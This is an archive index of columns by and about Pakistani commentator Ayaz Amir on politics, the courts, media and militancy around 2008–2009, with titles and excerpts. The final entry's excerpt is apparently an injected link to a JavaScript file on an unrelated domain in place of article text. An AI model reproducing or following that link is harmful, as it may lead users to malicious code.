Ayaz Amir Archive
Constitutional Reforms: A victory of democracy – by Ayaz Amir: Thank God for small mercies Islamabad diary This could have been a wrecking moment, another corrosive chapter in a history not given to too many bright moments. But if the worst did not happen, and if disaster was averted,
Punjab can no longer live in a state of denial – by Ayaz Amir: If FATA represents the cutting edge of terrorism in the name of Islam, Punjab, unfortunately, is the hinterland of this phenomenon. Or, to borrow a phrase from the repertoire of military folly, Punjab is the strategic depth of bigotry
Shifting deadlines and cheerleaders of doom in Pakistani media – by Ayaz Amir: Star-gazing — for what it is worth Islamabad diary Ayaz Amir As I have had occasion to mention before, Islamabad since its birth has been a city dedicated to nothing so much as intrigue and conspiracy. It has always
Time out for reading, CJ Iftikhar Chaudhry – by Ayaz Amir: In his recent article in The News, Ayaz Amir recommends Chief Justice Iftikhar Chaudhry to read Bacon’s essay “Of Judicature”. We provide below an excerpt from Ayaz Amir’s article as well as Bacon’s essay in full with an aim
The (misdirected) yearning for Zardari’s removal from office – by Ayaz Amir: The (misdirected) yearning for change Ayaz Amir The Pakistani non-voting middle class represents a strange phenomenon, a category waiting to be defined in some seminal work on the social sciences. This class will not be bothered to vote. It
Yes, they have ruined us – by Sehar Tauqeer: 1. We, the 170 million Pakistanis, don’t know till when we will have to eat ‘fruits’ of these ‘ruiners of Pakistan’, the so called ‘Islamic Right Wing’ propaganda war machines, who Ayyaz Amir recently termed as Laptop Warriors, the pseudo Islamic Parties – Saleem Safi
Laptop Warriors: After reading Ayaz Amir’s article and his use of the term “laptop warriors” (about Dr Shahid Masood, Ansar Abbasi etc), I googled the term and discovered this picture. Now Aitzaz Ahsan’s remarks have caused a major disappointment to them; he
Laptop Warriors: Ayaz Amir presents two pressing challenges to the Supreme Court of Pakistan: < strong>While disregarding pawns of ‘the anti-democracy establishment’ (e.g. Dr Shahid Masood and Ansar Abbasi and other members of the Pakistani Taliban Union of Journalists (PTUJ)) as “laptop warriors” and “media samurais — of whom there are not a
Has Zardari done anything which comes close to unbeatable follies of our military dictators? – by Ayaz Amir: The road to hell — and similar destinations By Ayaz Amir We have a developed talent, honed over the years, for counting the trees and missing the larger picture. We see things in one dimension and forget that there
The New Media Jihadis – by Ayaz Amir: Thanks: Khaleej Times There is no such thing as positive journalism, a notion put about, mostly in a whining manner, by government information departments. Journalism is at its most responsible when it is explosive and incendiary, shaking people out
‘Goebbels Eleven’, minus-one brigade and Nawaz Sharif: Here are three columns on this topic: The first one is by Ayaz Amir (a PML-N MNA) who terms the minus-one brigade (Shahid Masood, Ansar Abbasi, Shaheen Sehabi etc) as media galdiators. The second column is by Asadullah Ghalib
This is our war – An analysis by Ayaz Amir: A make-or-break moment for Pakistan Islamabad diary Friday, October 23, 2009Ayaz Amir Kashmir 1947-48 was the only necessary war we fought. It gave us the parts of Kashmir now in our possession. The 1965 war was a delusional general’s
Ayaz Amir: The road to hell is indeed paved with the best intentions !: Their lordships overstep the mark By Ayaz Amir The Pakistani disease, if we have to choose one and place it above all others, is not to do what one is qualified to do but to do that which one
Ayaz Amir: The road to hell is indeed paved with the best intentions !: Their lordships overstep the mark By Ayaz Amir The Pakistani disease, if we have to choose one and place it above all others, is not to do what one is qualified to do but to do that which one
Ayaz Amir: Swat: doctrine of necessity (in its purest form): Swat: doctrine of necessity (in its purest form) Islamabad diary Friday, February 20, 2009 by Ayaz Amir Those armchair warriors — and there’s no shortage of them out here — who are wringing their hands over the Swat accord
Ayaz Amir: Missing the essence of Talibanism – Talibanism is a form of radicalisation. The only way to fight it is through radical leadership.: Missing the essence of Talibanism Islamabad diary Friday, February 13, 2009 by Ayaz Amir I think we are not getting it. Talibanism in Afghanistan is a revolt against the American occupation. Those who can’t see this deserve an extended
The burden of history in 2009 is on the sholders of PPP, PML-N and… the army – by Ayaz Amir: Country burns, political class fiddlesFriday, February 06, 2009 By by Ayaz Amir …. At the centre the PPP government is rightly being accused of incompetence and dithering. But is leadership coming from any other direction? The army, Pakistan’s option
Punjab and the study of Ranjit Singh – by Ayaz Amir: Islamabad diary Friday, January 16, 2009 by Ayaz Amir At this juncture, when the seven tribal agencies along the Afghan frontier are lost to any form of government control, and Swat–once paradise on earth, now very much a picture
India not the real enemy, militancy is! – by Ayaz Amir: Will hypocrites such as Imran Khan and Qazi Hussain Ahmed listen to this sane voice? …… India not the real enemy; militancy isIslamabad diary Friday, December 26, 2008by Ayaz Amir Militancy and extremism on the march. Three schools in
Distancing ourselves equally from the Taliban and the US is not as great a contradiction as may appear at first. by Ayaz Amir: Degrading… but do we have a choice?Islamabad diary Friday, December 12, 2008by Ayaz Amir Is the Lashkar-i-Taiba – or the organisation it has morphed into, Jamaat-ud-Dawa – guilty of terrorism? Did it have a hand in the Mumbai attacks?
The anti-PPP forces, ISI, the right wing and the pro-Taliban elements in Pakistan – by Ayaz Amir: Is there anything more to see? Friday, October 24, 2008 By by Ayaz Amir Of all our leaders thrown up by the vicissitudes of events, Zulfikar Ali Bhutto alone had the talent and drive to reverse these trends and
Owning the war AND Ayaz Amir’s attitude of denial toward Taliban and terroirsts: Owning the warTuesday, October 21, 2008by Muhammad Saleem This is with reference to Ayaz Amir’s article ‘Our priceless talent for wasting time and money’, published in this newspaper on Oct 17. Being a member of parliament, Mr Amir is
Why does not Ayaz Amir resign from the PML(N)’s membership and then stage his ‘neutral’ criticism on the war on terror?: Ayaz Amir is the latest spokesman of the Taliban in the parliament. While pretending to be a neutral columnist, he always makes it a point to play to the gallery by criticizing the Pakistan’s war on terror. Why does
Is it America’s war our our war? The colour between black and white: Ayaz Amir: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.jang.com.pk/jang/sep2008-daily/27-09-2008/col5.htm